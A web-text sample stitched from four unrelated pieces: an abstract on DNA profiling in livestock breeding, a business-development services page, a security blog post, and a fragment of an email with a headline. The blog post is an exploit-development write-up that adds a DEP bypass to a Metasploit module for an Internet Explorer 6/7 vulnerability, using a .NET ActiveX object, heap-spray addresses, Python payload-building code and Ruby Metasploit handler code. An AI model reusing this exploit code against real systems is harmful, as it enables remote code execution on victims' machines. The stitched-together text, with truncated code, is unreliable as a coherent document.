The development of molecular genetics, especially DNA technology, has created the opportunity for animal breeders to make use of the dramatic progress in agricultural biotechnology. The most applicable development in South Africa is DNA profiling. Through the analysis of unique banding patterns, applications such as individual identification, parentage verification, genetic characterisation and the detection of genetic defects and undesirable genes are performed. The results for the different farm animal species are stored in databases for reference. Parentage verification is determined very accurately and the results are used for the registration of animals. Direct information on the genotypes of polymorphic loci allows for the measurement of breed relationships. The screening of animals for genetic defects through the detection of single point mutations is discussed using examples from the dairy and pig industries. The use of DNA technology as a tool contributes to accurate information in breeding programmes that make use of genetically superior individuals while maintaining biological diversity.


text:
Entrepreneurs Seeking Equity Financing...
Equity Review
When equity financing is identified as a source of funds in the business planning process, we can help explain and prepare the client to accept equity financing.
This process typically involves :
- coaching
- business plan scrubbing
- navigation of available equity financing options
Coaching can include information on:
- controlling ownership
- company structure
- securities issues
- equity money required
This service typically includes 2-3 business plan reviews and corresponding meetings by multiple staff members to discuss the project and the results of each review.
Note: The Enterprise Institute does not offer legal advice, but often makes clients aware of potential legal issues and makes a referral to the appropriate counsel.
Equity Review & Presentation Preparation
This service includes all services in the Equity Review and also includes additional time for presentation preparation and introductions to appropriate funding sources. Once the business plan is complete, EI staff will work with the client to prepare and deliver a presentation. This includes practice presentations to staff and partners. EI staff will also work with the client to provide appropriate referral introductions to angel funds and venture capital groups.
Inventors & Entrepreneurs Seeking Research...
Competitive Market Analysis
This Competitive Analysis is a focused market research report that is done primarily for an inventor or entrepreneur that has a product idea and wants to determine if it is unique.
This Research attempts to answer two questions:
- Is the exact product in the marketplace?
- Are there other products that would be considered competition?
The result of this analysis is a report that identifies and details up to 10 products that could be viewed by customers as competitive products.
Preliminary Patent Search
The Patent Search is a focused market research exercise that is also done primarily for an inventor/entrepreneur that has a product idea and wants to determine if it has been patented. Unlike the Competitive Analysis which focuses on the marketplace, this search focuses on the U.S. patent database (issued patents and visible filed applications), to identify the 6-8 patents that closely match the client's idea in functionality and/or design.
This Patent Search often has two parts:
- a report identifying and detailing similar patents
- a patent-ability opinion – which includes having a patent attorney review the product disclosure, the search results, and then issue an opinion. The opinion is the interpretation of the search results.
The Enterprise Institute works with several patent law firms in SD and surrounding states. Some attorneys offer this opinion at no cost. EI will provide the client this referral and cost information. Once the patent search is completed, the client will work directly with the patent attorney.


text:
In this post we are going to take a vulnerability in Internet Explorer 6/7 that was exploited in a relatively stable manner and attempt to add the DEP bypassing ability. The main exploit for this vulnerability has been implemented as a metasploit module ("ms10_018_ie_behaviors" by moshe ben abu from rec-sec). It works well on the target platforms but it doesn't bypass DEP (yet..).
There's an up-side and a down-side for using this technique, because the target must have the NET framework installed. During the exploitation of this vulnerability we were able to find a way to make the DEP bypass the main technique and the regular heap spray a fallback. At the metasploit exploit the heap is sprayed hoping that 0x0c0c0c0c will contain our user-controlled data. Once the vulnerability is triggered, the address 0x0c0c0c0c + 8 will be dereferenced from a call instruction, this way 0x0c0c0c14 points to 0x0c0c0c0c and 0x0c is a OR instruction that acts like a NOP.
When the heap is sprayed we assume that the address 0x0c0c0c0c is available for allocation. And that spraying the heap will results in:
But if we add an object tag to load our NET ActiveX to the address 0x0c0b0000 the results will be:
This way there are two possible scenarios
- The NET framework is installed – 0x0c0c0c0c will be occupied and will not get allocated, allowing us to execute our shellcode while bypassing DEP
- The NET framework is not installed – 0x0c0c0c0c will get allocated and the exploit will be able to run as usual without the ability to bypass DEP
To implement this ability we need to know exactly where in the NET ActiveX are the bytes that get mapped into 0x0c0c0c14. We can accomplish that by searching for the start of our user-controlled data within the NET ActiveX and subtract that address from 0x0c0c0c14 (0x0c0c0c14 – 0x0c0b25dd = 0xE637). And that will be our offset within the data. We modify our "NetActiveX.py" script to fit this offset
[cc lang="python" escaped="true"]modified_content = content[0:start_loc] # Save the original file-data (headers, etc..)
modified_content += "\x90" * 0xE637 # Spacing up-to 0xC0C0C0C0 (Can be random data as well)
modified_content += struct.pack("<I", 0x0c0c0c0c + 12) # Pointer to our shellcode
modified_content += "\xCC" * 0x100 # Shellcode
modified_content += "\x90" * ((end_loc – len(modified_content)) + len(signature))
modified_content += content[len(modified_content):] [/cc]
At this point we know most of the things we need to know in-order to bypass DEP successfully. We just need to add the tag to the html sent by the HTTP server and make sure we send the ActiveX when required. The object tag is "<object classID="exploit.dll#exploit.Shellcode"></object>" and we place it right after the html tag. When everything is set we execute the exploit and land at our breakpoints
At this point we have ability to execute code on a DEP enabled machine, but we still have some porting to do to make it work with metasploit. This is exactly why we implemented the metasploit component, We need the ability to insert the shellcode on the fly, as well as other things such as various patches (locations that we need to point to other locations, etc…). The component we have created can be accessed by adding a require 'DotNET' statement to the exploit. Once we have, we can use a class called NetActiveX. This class has the following public methods
- set_base(image_base) – Sets the base of the ActiveX.
- set_shellcode(offset, shellcode) – Sets the shellcode at a given offset.
- patch(offset, size, format, value) – Adds a patch to a given location.
Sample Usage:
[cc lang="ruby" escaped="true"]dll = NetActiveX.new("shellcode.dll")
dll.set_shellcode(0xE637,"\xCC" * 0x100)
dll.patch(0x0c0c0c0c, 4, "V", 0x0c0c0c18)
When applied this technique to the existing metasploit module we simply add an ActiveX request handler:
[cc lang="ruby" escaped="true"]if (request.uri.match(/\.dll/i))
dll = NetActiveX.new("%s/NET/shellcode.dll" % Msf::Config.data_directory)
case mytarget['Method'] when 'onclick'
dll.set_shellcode(0x446D, payload.raw )
when 'marquee'
dll.patch(0xE637,4,"V", 0x0c0c0c18)
dll.set_shellcode(0xE650, payload.raw)
send_response(cli, data = dll.to_s, { 'Content-Type' =>
After adding the request handler we modify both of the generated html files to contain our object tag.
[cc lang="ruby" escaped="true"]j_net_dll = rand_text_alpha(rand(50) + 1)
html = %Q|<html><object name="#{j_net_dll}" classID="#{j_net_dll}.dll#exploit.Shellcode"></object>…
NOTE: This technique requires the target to visit the generated link with an appended "/" at the end. If the user will visit the generated link without it, metasploit will block the ActiveX request and the DEP bypass technique will not work!
The metasploit component "DotNet" is not a part of the framework at the moment, you will need to add it manually in-order to use it. The module can be found here and the modified exploit can be found here.
About the Author
Tal zeltzer (zelik) is a security researcher from israel, focusing on reverse engineering both software and hardware. He spends most of his free time developing private security tools and exploits for fun.


text:
I am off to Brussels this weekend to try to convince the EC great and good that high res paleo would make a great NETWORK OF EXCELLENCE!
the latest EC buzz. These things will have many millions thrown at them . Anyway , I'm happy to let you lay your head at ours and buy me a few beers at our local inn when you come. All the best Keith
Science : Fossil Fuels To Cause A New Ice Age
54 minutes ago